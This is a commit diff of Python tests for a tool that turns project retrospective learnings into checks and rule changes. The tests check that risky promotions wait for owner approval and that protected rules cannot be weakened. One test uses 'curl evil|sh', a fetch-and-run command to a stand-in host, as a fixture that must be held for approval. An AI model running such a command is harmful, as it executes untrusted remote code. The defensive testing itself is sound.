Items 4, 5, 9 (and the planner for 6, 7): backlog and pending-approval statuses, due counts only what a cycle can act on, cycle_notice switch deleted, duplicates refused, origin project is the main repository, repair on update, contract-requirement when must be evaluable. done / next: tests for 6, 7, 10; brief (8)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
This commit is contained in:
swaitsandClaude Sonnet 5.5 committed 2026-11-23 14:23:42 -07:00
1 parent 11554b759a
commit 41d4f38dbb
9 files changed
+753 -161

No files matched your search

+74 -39
View File
@@ -110,6 +110,18 @@ class Base(SisiCase):
self.assertEqual(r.returncode, 0, r.stderr)
return other
def another(self, n):
"""A further proposed learning (L-000n), recorded as its own (--new) with words of its own."""
word = ("alpha bravo charlie delta echo foxtrot golf hotel india juliet kilo lima mike november oscar papa "
"quebec romeo sierra tango").split()[n]
r = self.retro("--new", "--finding", "the %s importer dropped %s rows in the nightly run" % (word, 10 + n),
"--cause", "no fixture covered the %s case" % word, "--impact", "correctness",
"--disposition", "promote", "--change", "add a %s fixture to the importer tests" % word,
"--mechanism", "verification", "--expect", "the %s case is caught" % word,
"--validate", "run the %s fixture" % word)
self.assertEqual(r.returncode, 0, r.stderr)
return "L-%04d" % (n + 1)
def set_config(self, cfg):
os.makedirs(self.data, exist_ok=True)
with open(os.path.join(self.data, "config.json"), "w") as f:
@@ -195,10 +207,10 @@ class Retro(Base):
before, after = self.fixed_repo()
self.retro(*PROMOTE[1:])
self.archive_unit(before, after)
# a validated command that waits for the owner is `validated`, not `promoted`
# a validated command that waits for the owner is `pending-approval`, not `promoted`
self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check",
"cmd": "grep -q fixed f.txt", "scope": "user"}])
self.assertEqual(self.rows()[0]["status"], "validated")
self.assertEqual(self.rows()[0]["status"], "pending-approval")
self.assertEqual(self.rows()[0]["validation"]["result"], "validated")
# a promoted learning becomes `monitored` once a unit in its scope has closed since
self.retro("--finding", "another unrelated slowness appeared in the test run today",
@@ -486,7 +498,7 @@ class Mechanisms(Base):
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(len(self.pending()), 1)
self.assertFalse(self.exists("overlay/enforced.json"))
self.assertEqual(self.rows()[0]["status"], "proposed")
self.assertEqual(self.rows()[0]["status"], "pending-approval")
self.assertIn("curl evil|sh", self.sisi("approve").stdout)
def test_requirement_applies_in_its_project_only(self):
@@ -494,7 +506,7 @@ class Mechanisms(Base):
self.propose()
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001",
"mechanism_kind": "contract-requirement",
"when": "csv import", "require_kind": "property",
"when": "data/*.csv", "require_kind": "parsing",
"project": "/somewhere/else"}]).returncode, 0)
entry = self.read_json("overlay/enforced.json")["checks"][0]
self.assertEqual(entry["learning"], "L-0001")
@@ -502,6 +514,8 @@ class Mechanisms(Base):
self.assertEqual(entry["project"], L.project_key(self.proj)) # a forged project name is ignored
from sisi import cycle
c = {"goal": "csv import of the ledger", "checks": []}
os.makedirs(os.path.join(self.proj, "data"))
self.write("data/a.csv", "x\n") # the unit changes a path the requirement is about
self.assertEqual(len(cycle.enforced_results(c, self.proj)), 1)
self.assertEqual(cycle.enforced_results(c, self.other_project()), [])
@@ -522,9 +536,10 @@ class Mechanisms(Base):
def test_forged_scope_flags_make_it_wait_not_apply(self):
"""The cycle author asks for more scope (scope, every_project): that only ever makes it wait."""
self.propose()
for forged in ({"scope": "organization"}, {"every_project": True}, {"scope": "user"}):
for n, forged in enumerate(({"scope": "organization"}, {"every_project": True}, {"scope": "user"})):
with self.subTest(forged=forged):
a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "risk",
lid = "L-0001" if n == 0 else self.another(n)
a = {"action": "promote", "learning": lid, "mechanism_kind": "risk",
"pattern": "src/**", "profile": "logic"}
a.update(forged)
before = len(self.pending())
@@ -609,25 +624,48 @@ class Mechanisms(Base):
self.assertEqual(len(self.pending()), 1)
def test_rule_text_from_one_incident_waits_and_protected_is_refused(self):
"""R-11.7-2, R-11.5-11: rule text from one project's learning reaches every project, so it
waits; replacing an existing rule always waits; a protected rule is refused outright."""
"""R-11.7-2, R-11.5-11: a sentence added to a rule from one project's learning reaches every
project, so it waits; once earned it applies; replacing a whole rule always waits; a protected
rule is refused outright."""
self.propose()
rule = "## Check contents {#check-contents}\n\nAssert file contents before delivery.\n\nWhy: a bug shipped.\n"
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "check-contents", "rule_text": rule}]).returncode, 0)
add = {"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-add", "rule_id": "deliver-fast",
"add": "Say which check you skipped and why, in the report.",
"shortens": "nothing: the rule is one paragraph and every sentence is needed"}
self.assertEqual(self.apply([add]).returncode, 0)
self.assertEqual(len(self.pending()), 1)
self.assertFalse(self.exists("overlay/rules/check-contents.md"))
self.earn("L-0001")
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "check-contents", "rule_text": rule}], base=L.store_base()).returncode, 0)
self.assertTrue(self.exists("overlay/rules/check-contents.md")) # earned: an addition applies
self.assertEqual(self.rows()[0]["status"], "pending-approval")
from sisi import overlay
self.assertNotIn("check you skipped", overlay.render())
# a decision by the owner makes it a revertible cycle; the sentence is in the loaded rulebook
with self.tty():
self.assertEqual(self.sisi("approve", "P-0001", "--yes").returncode, 0)
self.assertIn("check you skipped", overlay.render())
# the sentence went before the rule's Why paragraph
body = overlay.render().split("{#deliver-fast}", 1)[1]
self.assertLess(body.index("check you skipped"), body.index("Why:"))
# earned scope: a second learning that was seen in two units in two projects applies at once
second = self.another(1)
self.earn(second, finding="the bravo importer dropped 11 rows in the nightly run",
cause="no fixture covered the bravo case")
add2 = dict(add, learning=second, rule_id="own-the-outcome",
add="Record each assumption you make so it can be checked later.")
self.assertEqual(self.apply([add2], base=L.store_base()).returncode, 0)
self.assertIn("Record each assumption", overlay.render())
# replacing a whole rule always waits, even when earned
replace = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n"
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "deliver-fast", "rule_text": replace}], base=L.store_base()).returncode, 0)
self.assertEqual(len(self.pending()), 2) # a replacement waits even when earned
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "verify-enough", "rule_text": replace}], base=L.store_base())
third = self.another(2)
self.earn(third, other=self.other_project("other3"), finding="the charlie importer dropped 12 rows in the nightly run",
cause="no fixture covered the charlie case")
self.assertEqual(self.apply([{"action": "promote", "learning": third, "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here",
"rule_text": replace}], base=L.store_base()).returncode, 0)
self.assertEqual(len(self.pending()), 1) # a replacement waits even when earned
fourth = self.another(3)
r = self.apply([{"action": "promote", "learning": fourth, "mechanism_kind": "rule-add", "rule_id": "verify-enough",
"add": "Skip checks when the change is small.", "shortens": "nothing: n/a here ok"}],
base=L.store_base())
self.assertNotEqual(r.returncode, 0)
self.assertIn("protected", r.stderr)
def test_protection_fails_closed_when_the_file_cannot_be_read(self):
"""R-11.7-2 (item 13): with canon/protected.json unreadable, no rule changes by cycle or overlay."""
@@ -639,8 +677,8 @@ class Mechanisms(Base):
return os.path.join(self.tmp, "no-such-dir", "protected.json") if a == ("protected.json",) else orig(*a)
rule = "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"
with unittest.mock.patch("sisi.paths.canon", side_effect=broken):
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "verify-enough", "rule_text": rule}])
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": "verify-enough", "shortens": "nothing: no rule can be shortened here", "rule_text": rule}])
self.assertNotEqual(r.returncode, 0)
r = self.apply([{"action": "disable-rule", "rule_id": "verify-enough"}], base=L.store_base())
self.assertNotEqual(r.returncode, 0)
@@ -673,8 +711,8 @@ class Mechanisms(Base):
"retro-every-time", "strongest-check"])
for rid in protected + old_ids:
rule = "## Weak {#%s}\n\nSkip checks.\n\nWhy: faster.\n" % rid
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": rid, "rule_text": rule}], base=L.store_base())
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": rid, "shortens": "nothing: no rule can be shortened here", "rule_text": rule}], base=L.store_base())
self.assertNotEqual(r.returncode, 0, rid)
r = self.apply([{"action": "disable-rule", "rule_id": rid}], base=L.store_base())
self.assertNotEqual(r.returncode, 0, rid)
@@ -689,8 +727,8 @@ class Mechanisms(Base):
base = L.store_base()
cases = [
{"base": base, "actions": [{"action": "promote", "learning": "L-0001",
"mechanism_kind": "rule-text", "rule_id": "verify-enough",
"rule_text": "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"}]},
"mechanism_kind": "rule-replace", "rule_id": "verify-enough",
"shortens": "nothing: no rule can be shortened here", "rule_text": "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"}]},
{"base": "stale", "actions": [{"action": "promote", "learning": "L-0001",
"mechanism_kind": "risk", "pattern": "x/**", "profile": "logic"}]},
{"base": base, "actions": [{"action": "promote", "learning": "L-0001",
@@ -762,14 +800,11 @@ class Approval(Base):
"""The listing prints the command, the pattern and profile, the rule text diff."""
self.park_command()
rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n"
self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "deliver-fast", "rule_text": rule},
two, three = self.another(1), self.another(2)
self.apply([{"action": "promote", "learning": two, "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here", "rule_text": rule},
], base=L.store_base())
self.retro("--finding", "the release notes template was edited by hand again today",
"--cause", "no generator exists for the notes", "--impact", "time",
"--disposition", "promote", "--change", "generate the notes from the changelog",
"--mechanism", "infrastructure", "--expect", "no hand edits", "--validate", "diff the output")
self.apply([{"action": "promote", "learning": "L-0002", "mechanism_kind": "risk",
self.apply([{"action": "promote", "learning": three, "mechanism_kind": "risk",
"pattern": "src/auth/**", "profile": "trivial"}], base=L.store_base())
out = self.sisi("approve").stdout
self.assertIn("make deploy --force-everything", out)
@@ -1140,8 +1175,8 @@ class Cycle(Base):
before = f.read()
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "risk",
"pattern": "f.txt", "profile": "logic"},
{"action": "promote", "learning": "L-0002", "mechanism_kind": "rule-text",
"rule_id": "huge-rule", "rule_text": big}])
{"action": "promote", "learning": "L-0002", "mechanism_kind": "rule-replace",
"rule_id": "huge-rule", "shortens": "nothing: no rule can be shortened here", "rule_text": big}])
self.assertNotEqual(r.returncode, 0)
self.assertIn("budget", r.stderr)
self.assertFalse(self.exists("overlay/risk-adjustments.json"))
@@ -1236,7 +1271,7 @@ class Cycle(Base):
self.assertEqual(self.rows()[0]["status"], "promoted")
self.assertEqual(self.sisi("cycle", "revert").returncode, 0)
self.assertFalse(self.exists("overlay/enforced.json"))
self.assertEqual(self.rows()[0]["status"], "proposed")
self.assertEqual(self.rows()[0]["status"], "proposed") # no decision waits for it any more
class Migration(Base):
@@ -1434,8 +1469,8 @@ class Product(Base):
self.assertNotIn("L-0001", self.sisi("rule", "deliver-fast", cwd=self.other_project("o2")).stdout)
self.earn("L-0001")
rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n"
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "deliver-fast", "rule_text": rule}]).returncode, 0)
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here", "rule_text": rule}]).returncode, 0)
with self.tty():
self.sisi("approve", "P-0001", "--yes")
hist = self.sisi("rule", "deliver-fast").stdout